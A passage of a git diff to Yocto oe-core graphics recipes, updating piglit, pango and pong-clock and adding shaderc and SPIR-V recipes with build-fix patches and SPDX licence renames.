+PACKAGECONFIG[thai] = "-Dlibthai=enabled,-Dlibthai=disabled,libthai"
+
+GIR_MESON_OPTION = 'introspection'
+
+do_configure:prepend() {
+ chmod +x ${S}/tests/*.py
+}
+
+LEAD_SONAME = "libpango-1.0*"
+
+FILES:${PN} = "${bindir}/* ${libdir}/libpango*${SOLIBS}"
+
+RDEPENDS:${PN}-ptest += "cantarell-fonts"
+RDEPENDS:${PN}-ptest:append:libc-glibc = " locale-base-en-us"
+
+RPROVIDES:${PN} += "pango-modules pango-module-indic-lang \
+ pango-module-basic-fc pango-module-arabic-lang"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/piglit/piglit/0001-cmake-install-bash-completions-in-the-right-place.patch b/meta/recipes-graphics/piglit/piglit/0001-cmake-install-bash-completions-in-the-right-place.patch
deleted file mode 100644
index e07e810a73..0000000000
--- a/meta/recipes-graphics/piglit/piglit/0001-cmake-install-bash-completions-in-the-right-place.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From 26faa2c157a27a18a9f767976730fe0c115e3af4 Mon Sep 17 00:00:00 2001
-From: Jussi Kukkonen <jussi.kukkonen@intel.com>
-Date: Wed, 13 Jul 2016 19:19:02 +0300
-Subject: [PATCH] cmake: install bash-completions in the right place
-
-The completionsdir variable is a full path and should not be
-prefixed.
-
-This does mean the files may be installed outside of
-CMAKE_INSTALL_PREFIX -- the alternative is more difficult and
-means that bash completion files may be installed where
-bash-completion can't find them.
-
-Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
-Upstream-Status: Submitted [mailing list]
----
- CMakeLists.txt | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/CMakeLists.txt b/CMakeLists.txt
-index 8e2abba..784a8f9 100644
---- a/CMakeLists.txt
-+++ b/CMakeLists.txt
-@@ -532,7 +532,7 @@ install (
- if (BASH_COMPLETION_FOUND)
- install(
- FILES completions/bash/piglit
-- DESTINATION ${CMAKE_INSTALL_PREFIX}/${BASH_COMPLETION_COMPLETIONSDIR}/
-+ DESTINATION ${BASH_COMPLETION_COMPLETIONSDIR}/
- )
- endif (BASH_COMPLETION_FOUND)
-
---
-2.8.1
-
diff --git a/meta/recipes-graphics/piglit/piglit/0001-cmake-use-proper-WAYLAND_INCLUDE_DIRS-variable.patch b/meta/recipes-graphics/piglit/piglit/0001-cmake-use-proper-WAYLAND_INCLUDE_DIRS-variable.patch
deleted file mode 100644
index 5d6ec368ba..0000000000
--- a/meta/recipes-graphics/piglit/piglit/0001-cmake-use-proper-WAYLAND_INCLUDE_DIRS-variable.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From 3bf1beee1ddd19bc536ff2856e04ac269d43daa2 Mon Sep 17 00:00:00 2001
-From: Pascal Bach <pascal.bach@siemens.com>
-Date: Thu, 4 Oct 2018 14:43:17 +0200
-Subject: [PATCH] cmake: use proper WAYLAND_INCLUDE_DIRS variable
-
-WAYLAND_wayland-client_INCLUDEDIR is an internal variable and is not correctly
-set when cross compiling. WAYLAND_INCLUDE_DIRS includes the correct path even
-when cross compiling.
-
-Signed-off-by: Pascal Bach <pascal.bach@siemens.com>
-
-Upstream-Status: Submitted [piglit@lists.freedesktop.org]
----
- tests/util/CMakeLists.txt | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/tests/util/CMakeLists.txt b/tests/util/CMakeLists.txt
-index a5f080156..a303a9f58 100644
---- a/tests/util/CMakeLists.txt
-+++ b/tests/util/CMakeLists.txt
-@@ -97,7 +97,7 @@ if(PIGLIT_USE_WAFFLE)
- piglit-framework-gl/piglit_wl_framework.c
- )
- list(APPEND UTIL_GL_INCLUDES
-- ${WAYLAND_wayland-client_INCLUDEDIR}
-+ ${WAYLAND_INCLUDE_DIRS}
- )
- endif()
- if(PIGLIT_HAS_X11)
---
-2.11.0
-
diff --git a/meta/recipes-graphics/piglit/piglit/0001-tests-Fix-narrowing-errors-seen-with-clang.patch b/meta/recipes-graphics/piglit/piglit/0001-tests-Fix-narrowing-errors-seen-with-clang.patch
new file mode 100644
index 0000000000..08e709b1d0
--- /dev/null
+++ b/meta/recipes-graphics/piglit/piglit/0001-tests-Fix-narrowing-errors-seen-with-clang.patch
@@ -0,0 +1,50 @@
+From 77f327909e4a99c64261290cd76e234e10cc64d2 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 3 May 2023 21:59:43 -0700
+Subject: [PATCH] tests: Fix narrowing errors seen with clang
+
+Fixes
+piglit-test-pattern.cpp:656:26: error: type 'float' cannot be narrowed to 'int' in initiali
+zer list [-Wc++11-narrowing]
+
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/mesa/piglit/-/merge_requests/807]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ .../spec/ext_framebuffer_multisample/draw-buffers-common.cpp | 4 ++--
+ tests/util/piglit-test-pattern.cpp | 4 ++--
+ 2 files changed, 4 insertions(+), 4 deletions(-)
+
+diff --git a/tests/spec/ext_framebuffer_multisample/draw-buffers-common.cpp b/tests/spec/ext_framebuffer_multisample/draw-buffers-common.cpp
+index 48e1ad4a5..b36830c45 100644
+--- a/tests/spec/ext_framebuffer_multisample/draw-buffers-common.cpp
++++ b/tests/spec/ext_framebuffer_multisample/draw-buffers-common.cpp
+@@ -353,8 +353,8 @@ draw_pattern(bool sample_alpha_to_coverage,
+ float vertices[4][2] = {
+ { 0.0f, 0.0f + i * (pattern_height / num_rects) },
+ { 0.0f, (i + 1.0f) * (pattern_height / num_rects) },
+- { pattern_width, (i + 1.0f) * (pattern_height / num_rects) },
+- { pattern_width, 0.0f + i * (pattern_height / num_rects) } };
++ { static_cast<float>(pattern_width), (i + 1.0f) * (pattern_height / num_rects) },
++ { static_cast<float>(pattern_width), 0.0f + i * (pattern_height / num_rects) } };
+
+ glVertexAttribPointer(0, 2, GL_FLOAT, GL_FALSE,
+ sizeof(vertices[0]),
+diff --git a/tests/util/piglit-test-pattern.cpp b/tests/util/piglit-test-pattern.cpp
+index 43d451d6a..52ee94457 100644
+--- a/tests/util/piglit-test-pattern.cpp
++++ b/tests/util/piglit-test-pattern.cpp
+@@ -653,12 +653,12 @@ ColorGradientSunburst::draw_with_scale_and_offset(const float (*proj)[4],
+ {
+ switch (out_type) {
+ case GL_INT: {
+- int clear_color[4] = { offset, offset, offset, offset };
++ int clear_color[4] = { static_cast<int>(offset), static_cast<int>(offset), static_cast<int>(offset), static_cast<int>(offset) };
+ glClearBufferiv(GL_COLOR, 0, clear_color);
+ break;
+ }
+ case GL_UNSIGNED_INT: {
+- unsigned clear_color[4] = { offset, offset, offset, offset };
++ unsigned clear_color[4] = { static_cast<unsigned>(offset), static_cast<unsigned>(offset), static_cast<unsigned>(offset), static_cast<unsigned>(offset) };
+ glClearBufferuiv(GL_COLOR, 0, clear_color);
+ break;
+ }
diff --git a/meta/recipes-graphics/piglit/piglit/0001-utils-Include-libgen.h-on-musl-linux-systems.patch b/meta/recipes-graphics/piglit/piglit/0001-utils-Include-libgen.h-on-musl-linux-systems.patch
new file mode 100644
index 0000000000..2875dd52ec
--- /dev/null
+++ b/meta/recipes-graphics/piglit/piglit/0001-utils-Include-libgen.h-on-musl-linux-systems.patch
@@ -0,0 +1,83 @@
+From 6c852e6ac292008137a6f3a8aa908090bb5b4b11 Mon Sep 17 00:00:00 2001
+From: Erik Faye-Lund <erik.faye-lund@collabora.com>
+Date: Tue, 19 Mar 2024 16:34:02 +0100
+Subject: [PATCH] properly check for libgen.h
+
+Some users are reporting that basename is not available when building on
+Linux with musl libc. And since the POSIX spec[1] says that basename is
+defined in libgen.h, we should include that when available.
+
+So let's properly detect the header, and include it if it exists. This
+should hopefully make things a bit more robust.
+
+Since we're also including this from the CL program-tester, let's
+rearrange the includes a bit so we know that config.h has been included.
+
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/mesa/piglit/-/merge_requests/888]
+Reviewed-by: David Heidelberg <david.heidelberg@collabora.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ CMakeLists.txt | 1 +
+ tests/cl/program/program-tester.c | 5 ++++-
+ tests/util/config.h.in | 1 +
+ tests/util/piglit-util.h | 4 ++--
+ 4 files changed, 8 insertions(+), 3 deletions(-)
+
+diff --git a/CMakeLists.txt b/CMakeLists.txt
+index dd2bf67125..5563fe0e20 100644
+--- a/CMakeLists.txt
++++ b/CMakeLists.txt
+@@ -492,6 +492,7 @@ check_include_file(unistd.h HAVE_UNISTD_H)
+ check_include_file(fcntl.h HAVE_FCNTL_H)
+ check_include_file(linux/sync_file.h HAVE_LINUX_SYNC_FILE_H)
+ check_include_file(endian.h HAVE_ENDIAN_H)
++check_include_file(libgen.h HAVE_LIBGEN_H)
+
+ if(DEFINED PIGLIT_INSTALL_VERSION)
+ set(PIGLIT_INSTALL_VERSION_SUFFIX
+diff --git a/tests/cl/program/program-tester.c b/tests/cl/program/program-tester.c
+index 97fe64906d..e47fb5aacc 100644
+--- a/tests/cl/program/program-tester.c
++++ b/tests/cl/program/program-tester.c
+@@ -31,10 +31,13 @@
+ #include <inttypes.h>
+ #include <math.h>
+ #include <regex.h>
+-#include <libgen.h>
+
+ #include "piglit-framework-cl-program.h"
+
++#ifdef HAVE_LIBGEN_H
++#include <libgen.h>
++#endif
++
+ /* Regexes */
+
+ /*
+diff --git a/tests/util/config.h.in b/tests/util/config.h.in
+index 8ed5af1709..437eb91418 100644
+--- a/tests/util/config.h.in
++++ b/tests/util/config.h.in
+@@ -16,3 +16,4 @@
+ #cmakedefine HAVE_SYS_RESOURCE_H 1
+ #cmakedefine HAVE_UNISTD_H 1
+ #cmakedefine HAVE_ENDIAN_H 1
++#cmakedefine HAVE_LIBGEN_H 1
+diff --git a/tests/util/piglit-util.h b/tests/util/piglit-util.h
+index 4d3606c708..de999980b6 100644
+--- a/tests/util/piglit-util.h
++++ b/tests/util/piglit-util.h
+@@ -52,8 +52,8 @@ extern "C" {
+ #include <math.h>
+ #include <float.h>
+
+-#if defined(__APPLE__) || defined(__MINGW32__)
+-# include "libgen.h" // for basename
++#ifdef HAVE_LIBGEN_H
++# include <libgen.h> // for basename
+ #elif defined(_MSC_VER)
+
+ static inline char *
+--
+GitLab
+
diff --git a/meta/recipes-graphics/piglit/piglit/0002-cmake-use-proper-WAYLAND_INCLUDE_DIRS-variable.patch b/meta/recipes-graphics/piglit/piglit/0002-cmake-use-proper-WAYLAND_INCLUDE_DIRS-variable.patch
new file mode 100644
index 0000000000..70bb55053d
--- /dev/null
+++ b/meta/recipes-graphics/piglit/piglit/0002-cmake-use-proper-WAYLAND_INCLUDE_DIRS-variable.patch
@@ -0,0 +1,29 @@
+From cb8e4b99fcfe81399e3e6d922156db4a48a39a8e Mon Sep 17 00:00:00 2001
+From: Pascal Bach <pascal.bach@siemens.com>
+Date: Thu, 4 Oct 2018 14:43:17 +0200
+Subject: [PATCH] cmake: use proper WAYLAND_INCLUDE_DIRS variable
+
+WAYLAND_wayland-client_INCLUDEDIR is an internal variable and is not correctly
+set when cross compiling. WAYLAND_INCLUDE_DIRS includes the correct path even
+when cross compiling.
+
+Signed-off-by: Pascal Bach <pascal.bach@siemens.com>
+
+Upstream-Status: Submitted [piglit@lists.freedesktop.org]
+---
+ tests/util/CMakeLists.txt | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/tests/util/CMakeLists.txt b/tests/util/CMakeLists.txt
+index 1714ab41f..3b67aa7da 100644
+--- a/tests/util/CMakeLists.txt
++++ b/tests/util/CMakeLists.txt
+@@ -97,7 +97,7 @@ if(PIGLIT_USE_WAFFLE)
+ piglit-framework-gl/piglit_wl_framework.c
+ )
+ list(APPEND UTIL_GL_INCLUDES
+- ${WAYLAND_wayland-client_INCLUDEDIR}
++ ${WAYLAND_INCLUDE_DIRS}
+ )
+ endif()
+ if(PIGLIT_HAS_X11)
diff --git a/meta/recipes-graphics/piglit/piglit/0003-tests-util-piglit-shader.c-do-not-hardcode-build-pat.patch b/meta/recipes-graphics/piglit/piglit/0003-tests-util-piglit-shader.c-do-not-hardcode-build-pat.patch
new file mode 100644
index 0000000000..ce5cbd3ea9
--- /dev/null
+++ b/meta/recipes-graphics/piglit/piglit/0003-tests-util-piglit-shader.c-do-not-hardcode-build-pat.patch
@@ -0,0 +1,27 @@
+From 7d2d23125f1946a7b74f9a427388d469500fcd8d Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Tue, 10 Nov 2020 17:13:50 +0000
+Subject: [PATCH] tests/util/piglit-shader.c: do not hardcode build path into
+ target binary
+
+This helps reproducibilty.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ tests/util/piglit-shader.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/tests/util/piglit-shader.c b/tests/util/piglit-shader.c
+index 1787eb180..9e74704b1 100644
+--- a/tests/util/piglit-shader.c
++++ b/tests/util/piglit-shader.c
+@@ -73,7 +73,7 @@ piglit_compile_shader(GLenum target, const char *filename)
+
+ source_dir = getenv("PIGLIT_SOURCE_DIR");
+ if (source_dir == NULL) {
+- source_dir = SOURCE_DIR;
++ source_dir = ".";
+ }
+
+ snprintf(filename_with_path, FILENAME_MAX - 1,
diff --git a/meta/recipes-graphics/piglit/piglit_git.bb b/meta/recipes-graphics/piglit/piglit_git.bb
index e531ffc408..99d75e64f8 100644
--- a/meta/recipes-graphics/piglit/piglit_git.bb
+++ b/meta/recipes-graphics/piglit/piglit_git.bb
@@ -1,25 +1,29 @@
SUMMARY = "OpenGL driver testing framework"
DESCRIPTION = "Piglit is an open-source test suite for OpenGL and OpenCL \
implementations."
-LICENSE = "MIT & LGPLv2+ & GPLv3 & GPLv2+ & BSD-3-Clause"
+HOMEPAGE = "https://gitlab.freedesktop.org/mesa/piglit"
+BUGTRACKER = "https://gitlab.freedesktop.org/mesa/piglit/-/issues"
+LICENSE = "MIT & LGPL-2.0-or-later & GPL-3.0-only & GPL-2.0-or-later & BSD-3-Clause"
LIC_FILES_CHKSUM = "file://COPYING;md5=b2beded7103a3d8a442a2a0391d607b0"
-SRC_URI = "git://gitlab.freedesktop.org/mesa/piglit.git;protocol=https \
- file://0001-cmake-install-bash-completions-in-the-right-place.patch \
- file://0001-cmake-use-proper-WAYLAND_INCLUDE_DIRS-variable.patch \
+SRC_URI = "git://gitlab.freedesktop.org/mesa/piglit.git;protocol=https;branch=main \
+ file://0002-cmake-use-proper-WAYLAND_INCLUDE_DIRS-variable.patch \
+ file://0003-tests-util-piglit-shader.c-do-not-hardcode-build-pat.patch \
+ file://0001-tests-Fix-narrowing-errors-seen-with-clang.patch \
+ file://0001-utils-Include-libgen.h-on-musl-linux-systems.patch \
"
UPSTREAM_CHECK_COMMITS = "1"
-SRCREV = "7d76fca56e8ca72ab6809f6f0234b5971af5690a"
+SRCREV = "22eaf6a91cfd57f7bb3df4e5068c2ac1472d4ec1"
# (when PV goes above 1.0 remove the trailing r)
-PV = "1.0+gitr${SRCPV}"
+PV = "1.0+gitr"
S = "${WORKDIR}/git"
X11_DEPS = "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'virtual/libx11 libxrender libglu', '', d)}"
X11_RDEPS = "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'mesa-demos', '', d)}"
-DEPENDS = "libpng waffle libxkbcommon virtual/libgl python3-mako-native python3-numpy-native python3-six-native virtual/egl"
+DEPENDS = "libpng waffle libxkbcommon python3-mako-native python3-numpy-native python3-six-native virtual/egl"
inherit cmake pkgconfig python3native features_check bash-completion
@@ -32,33 +36,39 @@ REQUIRED_DISTRO_FEATURES += "opengl"
export TEMP = "${B}/temp/"
do_compile[dirs] =+ "${B}/temp/"
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)}"
+PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'x11 glx', '', d)}"
PACKAGECONFIG[freeglut] = "-DPIGLIT_USE_GLUT=1,-DPIGLIT_USE_GLUT=0,freeglut,"
+PACKAGECONFIG[glx] = "-DPIGLIT_BUILD_GLX_TESTS=ON,-DPIGLIT_BUILD_GLX_TESTS=OFF"
+PACKAGECONFIG[opencl] = "-DPIGLIT_BUILD_CL_TESTS=ON,-DPIGLIT_BUILD_CL_TESTS=OFF,virtual/opencl-icd"
PACKAGECONFIG[x11] = "-DPIGLIT_BUILD_GL_TESTS=ON,-DPIGLIT_BUILD_GL_TESTS=OFF,${X11_DEPS}, ${X11_RDEPS}"
+PACKAGECONFIG[vulkan] = "-DPIGLIT_BUILD_VK_TESTS=ON,-DPIGLIT_BUILD_VK_TESTS=OFF,glslang-native vulkan-loader,glslang"
+export PIGLIT_BUILD_DIR = "../../../../git"
-do_configure_prepend() {
+do_configure:prepend() {
if [ "${@bb.utils.contains('PACKAGECONFIG', 'freeglut', 'yes', 'no', d)}" = "no" ]; then
sed -i -e "/^#.*include <GL\/freeglut_ext.h>$/d" ${S}/src/piglit/glut_wrap.h
sed -i -e "/^#.*include.*<GL\/glut.h>$/d" ${S}/src/piglit/glut_wrap.h
fi
}
-# Forcibly strip because Piglit is *huge*
+# Forcibly strip because Piglit is *huge*, and don't bother trying to split/strip the result.
OECMAKE_TARGET_INSTALL = "install/strip"
+INHIBIT_PACKAGE_STRIP = "1"
+INHIBIT_PACKAGE_DEBUG_SPLIT = "1"
-RDEPENDS_${PN} = "waffle waffle-bin python3 python3-mako python3-json \
+RDEPENDS:${PN} = "waffle waffle-bin python3 python3-mako python3-json \
python3-misc \
python3-unixadmin python3-xml python3-multiprocessing \
python3-six python3-shell python3-io \
python3-netserver bash \
"
-INSANE_SKIP_${PN} += "dev-so already-stripped"
+INSANE_SKIP:${PN} += "dev-so already-stripped"
# As nothing builds against Piglit we don't need to have anything in the
# sysroot, especially when this is ~2GB of test suite
-SYSROOT_DIRS_remove = "${libdir}"
+SYSROOT_DIRS:remove = "${libdir}"
# Can't be built with ccache
CCACHE_DISABLE = "1"
diff --git a/meta/recipes-graphics/pong-clock/pong-clock_1.0.bb b/meta/recipes-graphics/pong-clock/pong-clock_1.0.bb
index c3c237eee7..d0794f8ee6 100644
--- a/meta/recipes-graphics/pong-clock/pong-clock_1.0.bb
+++ b/meta/recipes-graphics/pong-clock/pong-clock_1.0.bb
@@ -1,5 +1,5 @@
SUMMARY = "A clock combined with a game of pong"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
DEPENDS = "virtual/libx11 xdmcp xau"
inherit features_check pkgconfig
diff --git a/meta/recipes-graphics/shaderc/files/0001-cmake-disable-building-external-dependencies.patch b/meta/recipes-graphics/shaderc/files/0001-cmake-disable-building-external-dependencies.patch
new file mode 100644
index 0000000000..5c49aa7fd5
--- /dev/null
+++ b/meta/recipes-graphics/shaderc/files/0001-cmake-disable-building-external-dependencies.patch
@@ -0,0 +1,106 @@
+From 941f5f5831e7a52c26168f81f25d0470860ca6f1 Mon Sep 17 00:00:00 2001
+From: Jose Quaresma <quaresma.jose@gmail.com>
+Date: Sat, 13 Feb 2021 00:45:56 +0000
+Subject: [PATCH] cmake: disable building external dependencies
+
+- add cmake option to disable the build of the third_party dependencies
+- change the update_build_version.py to use pkg-config when third_party dependencies not found
+
+Upstream-Status: Inappropriate [OE-core specific]
+
+Signed-off-by: Jose Quaresma <quaresma.jose@gmail.com>
+---
+ CMakeLists.txt | 13 ++++++++++---
+ utils/update_build_version.py | 22 +++++++++++++++-------
+ 2 files changed, 25 insertions(+), 10 deletions(-)
+
+diff --git a/CMakeLists.txt b/CMakeLists.txt
+index ffcb54b..cce715e 100644
+--- a/CMakeLists.txt
++++ b/CMakeLists.txt
+@@ -62,6 +62,7 @@ else()
+ endif()
+
+ option(SHADERC_ENABLE_WERROR_COMPILE "Enable passing -Werror to compiler, if available" ON)
++option(BUILD_EXTERNAL "Build external dependencies in /third_party" ON)
+
+ set (CMAKE_CXX_STANDARD 17)
+
+@@ -119,8 +120,14 @@ endif(MSVC)
+
+
+ # Configure subdirectories.
+-# We depend on these for later projects, so they should come first.
+-add_subdirectory(third_party)
++if(BUILD_EXTERNAL)
++ # We depend on these for later projects, so they should come first.
++ add_subdirectory(third_party)
++else()
++ find_package(PkgConfig REQUIRED)
++ pkg_check_modules (PKG_CHECK REQUIRED SPIRV-Tools)
++ pkg_check_modules (PKG_CHECK REQUIRED glslang)
++endif()
+
+ add_subdirectory(libshaderc_util)
+ add_subdirectory(libshaderc)
+@@ -132,7 +139,7 @@ endif()
+ add_custom_target(build-version
+ ${Python_EXECUTABLE}
+ ${CMAKE_CURRENT_SOURCE_DIR}/utils/update_build_version.py
+- ${shaderc_SOURCE_DIR} ${spirv-tools_SOURCE_DIR} ${glslang_SOURCE_DIR} ${CMAKE_CURRENT_BINARY_DIR}/build-version.inc
++ ${CMAKE_CURRENT_BINARY_DIR}/build-version.inc ${shaderc_SOURCE_DIR} ${spirv-tools_SOURCE_DIR} ${glslang_SOURCE_DIR}
+ COMMENT "Update build-version.inc in the Shaderc build directory (if necessary).")
+
+ function(define_pkg_config_file NAME LIBS)
+diff --git a/utils/update_build_version.py b/utils/update_build_version.py
+index b7ce5b8..95b34c5 100755
+--- a/utils/update_build_version.py
++++ b/utils/update_build_version.py
+@@ -30,6 +30,7 @@ import re
+ import subprocess
+ import sys
+ import time
++import itertools
+
+ def mkdir_p(directory):
+ """Make the directory, and all its ancestors as required. Any of the
+@@ -121,25 +122,32 @@ def get_version_string(project, directory):
+ directory, which consists of software version string and git description
+ string."""
+ detailed_version_string_lst = [project]
+- if project != 'glslang':
+- detailed_version_string_lst.append(deduce_software_version(directory))
+- detailed_version_string_lst.append(describe(directory).replace('"', '\\"'))
++ if isinstance(directory, str) and os.path.isdir(directory):
++ if project != 'glslang':
++ detailed_version_string_lst.append(deduce_software_version(directory))
++ detailed_version_string_lst.append(describe(directory).replace('"', '\\"'))
++ else:
++ if project == 'spirv-tools':
++ project = 'SPIRV-Tools'
++ pkgconfig = ['pkg-config', '--modversion', project]
++ version = subprocess.run(pkgconfig, capture_output=True, text=True).stdout.rstrip()
++ detailed_version_string_lst.append(version)
+ return ' '.join(detailed_version_string_lst)
+
+
+ def main():
+- if len(sys.argv) != 5:
+- print(('usage: {} <shaderc-dir> <spirv-tools-dir> <glslang-dir> <output-file>'.format(
++ if len(sys.argv) < 3:
++ print(('usage: {} <output-file> <shaderc-dir> [spirv-tools-dir] [glslang-dir]'.format(
+ sys.argv[0])))
+ sys.exit(1)
+
+ projects = ['shaderc', 'spirv-tools', 'glslang']
+ new_content = ''.join([
+ '"{}\\n"\n'.format(get_version_string(p, d))
+- for (p, d) in zip(projects, sys.argv[1:])
++ for (p, d) in itertools.zip_longest(projects, sys.argv[2:])
+ ])
+
+- output_file = sys.argv[4]
++ output_file = sys.argv[1]
+ mkdir_p(os.path.dirname(output_file))
+
+ if os.path.isfile(output_file):
diff --git a/meta/recipes-graphics/shaderc/files/0002-libshaderc_util-fix-glslang-header-file-location.patch b/meta/recipes-graphics/shaderc/files/0002-libshaderc_util-fix-glslang-header-file-location.patch
new file mode 100644
index 0000000000..39f982b7f3
--- /dev/null
+++ b/meta/recipes-graphics/shaderc/files/0002-libshaderc_util-fix-glslang-header-file-location.patch
@@ -0,0 +1,25 @@
+From ec2442940e1d5338971861bb81537bae3a6c19e2 Mon Sep 17 00:00:00 2001
+From: Jose Quaresma <quaresma.jose@gmail.com>
+Date: Sat, 13 Feb 2021 00:45:56 +0000
+Subject: [PATCH] libshaderc_util: fix glslang header file location
+
+Upstream-Status: Pending
+
+Signed-off-by: Jose Quaresma <quaresma.jose@gmail.com>
+---
+ libshaderc_util/src/compiler.cc | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/libshaderc_util/src/compiler.cc b/libshaderc_util/src/compiler.cc
+index e5f5d10..5fd6d3c 100644
+--- a/libshaderc_util/src/compiler.cc
++++ b/libshaderc_util/src/compiler.cc
+@@ -20,7 +20,7 @@
+ #include <thread>
+ #include <tuple>
+
+-#include "SPIRV/GlslangToSpv.h"
++#include "glslang/SPIRV/GlslangToSpv.h"
+ #include "libshaderc_util/format.h"
+ #include "libshaderc_util/io_shaderc.h"
+ #include "libshaderc_util/message.h"
diff --git a/meta/recipes-graphics/shaderc/shaderc_2024.0.bb b/meta/recipes-graphics/shaderc/shaderc_2024.0.bb
new file mode 100644
index 0000000000..9975c608ac
--- /dev/null
+++ b/meta/recipes-graphics/shaderc/shaderc_2024.0.bb
@@ -0,0 +1,29 @@
+SUMMARY = "A collection of tools, libraries and tests for shader compilation"
+DESCRIPTION = "The Shaderc library provides an API for compiling GLSL/HLSL \
+source code to SPIRV modules. It has been shipping in the Android NDK since version r12b."
+SECTION = "graphics"
+HOMEPAGE = "https://github.com/google/shaderc"
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=86d3f3a95c324c9479bd8986968f4327"
+
+SRCREV = "9f56ca620c07d6c4d119c65c1c1f3f1c584c9985"
+SRC_URI = "git://github.com/google/shaderc.git;protocol=https;branch=main \
+ file://0001-cmake-disable-building-external-dependencies.patch \
+ file://0002-libshaderc_util-fix-glslang-header-file-location.patch \
+ "
+UPSTREAM_CHECK_GITTAGREGEX = "^v(?P<pver>\d+(\.\d+)+)$"
+S = "${WORKDIR}/git"
+
+inherit cmake python3native pkgconfig
+
+DEPENDS = "spirv-headers spirv-tools glslang"
+
+EXTRA_OECMAKE = " \
+ -DCMAKE_BUILD_TYPE=Release \
+ -DBUILD_EXTERNAL=OFF \
+ -DSHADERC_SKIP_TESTS=ON \
+ -DSHADERC_SKIP_EXAMPLES=ON \
+ -DSHADERC_SKIP_COPYRIGHT_CHECK=ON \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/spir/spirv-headers_1.3.280.0.bb b/meta/recipes-graphics/spir/spirv-headers_1.3.280.0.bb
new file mode 100644
index 0000000000..26bfd9c4fa
--- /dev/null
+++ b/meta/recipes-graphics/spir/spirv-headers_1.3.280.0.bb
@@ -0,0 +1,20 @@
+SUMMARY = "Machine-readable files for the SPIR-V Registry"
+SECTION = "graphics"
+HOMEPAGE = "https://www.khronos.org/registry/spir-v"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=d14ee3b13f42e9c9674acc5925c3d741"
+
+SRCREV = "8b246ff75c6615ba4532fe4fde20f1be090c3764"
+SRC_URI = "git://github.com/KhronosGroup/SPIRV-Headers;protocol=https;branch=main"
+PE = "1"
+# These recipes need to be updated in lockstep with each other:
+# glslang, vulkan-headers, vulkan-loader, vulkan-tools, spirv-headers, spirv-tools
+# vulkan-validation-layers, vulkan-utility-libraries.
+# The tags versions should always be sdk-x.y.z, as this is what
+# upstream considers a release.
+UPSTREAM_CHECK_GITTAGREGEX = "sdk-(?P<pver>\d+(\.\d+)+)"
+S = "${WORKDIR}/git"
+
+inherit cmake
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/spir/spirv-tools_1.3.280.0.bb b/meta/recipes-graphics/spir/spirv-tools_1.3.280.0.bb
new file mode 100644
index 0000000000..d2b6acf946
--- /dev/null
+++ b/meta/recipes-graphics/spir/spirv-tools_1.3.280.0.bb
@@ -0,0 +1,47 @@
+SUMMARY = "The SPIR-V Tools project provides an API and commands for \
+processing SPIR-V modules"
+DESCRIPTION = "The project includes an assembler, binary module parser, \
+disassembler, validator, and optimizer for SPIR-V."
+HOMEPAGE = "https://github.com/KhronosGroup/SPIRV-Tools"
+SECTION = "graphics"
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57"
+
+SRCREV = "04896c462d9f3f504c99a4698605b6524af813c1"
+SRC_URI = "git://github.com/KhronosGroup/SPIRV-Tools.git;branch=main;protocol=https"
+PE = "1"
+# These recipes need to be updated in lockstep with each other:
+# glslang, vulkan-headers, vulkan-loader, vulkan-tools, spirv-headers, spirv-tools
+# vulkan-validation-layers, vulkan-utility-libraries.
+# The tags versions should always be sdk-x.y.z, as this is what
+# upstream considers a release.
+UPSTREAM_CHECK_GITTAGREGEX = "sdk-(?P<pver>\d+(\.\d+)+)"
+S = "${WORKDIR}/git"
+
+inherit cmake
+
+DEPENDS = "spirv-headers"
+
+EXTRA_OECMAKE += "\
+ -DSPIRV-Headers_SOURCE_DIR=${STAGING_EXECPREFIXDIR} \
+ -DSPIRV_TOOLS_BUILD_STATIC=OFF \
+ -DBUILD_SHARED_LIBS=ON \
+ -DSPIRV_SKIP_TESTS=ON \
+"
+
+do_install:append:class-target() {
+ # Properly set _IMPORT_PREFIX in INTERFACE_LINK_LIBRARIES so that dependent
+ # tools can find the right library
+ sed -i ${D}${libdir}/cmake/SPIRV-Tools/SPIRV-ToolsTarget.cmake \
+ -e 's:INTERFACE_LINK_LIBRARIES.*$:INTERFACE_LINK_LIBRARIES "\$\{_IMPORT_PREFIX\}/${baselib}":'
+}
+
+# all the libraries are unversioned, so don't pack it on PN-dev
+SOLIBS = ".so"
+FILES_SOLIBSDEV = ""
+
+PACKAGES =+ "${PN}-lesspipe"
+FILES:${PN}-lesspipe = "${base_bindir}/spirv-lesspipe.sh"
+RDEPENDS:${PN}-lesspipe += "${PN} bash"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/startup-notification/startup-notification_0.12.bb b/meta/recipes-graphics/startup-notification/startup-notification_0.12.bb
index d10bddb529..aa18881a12 100644
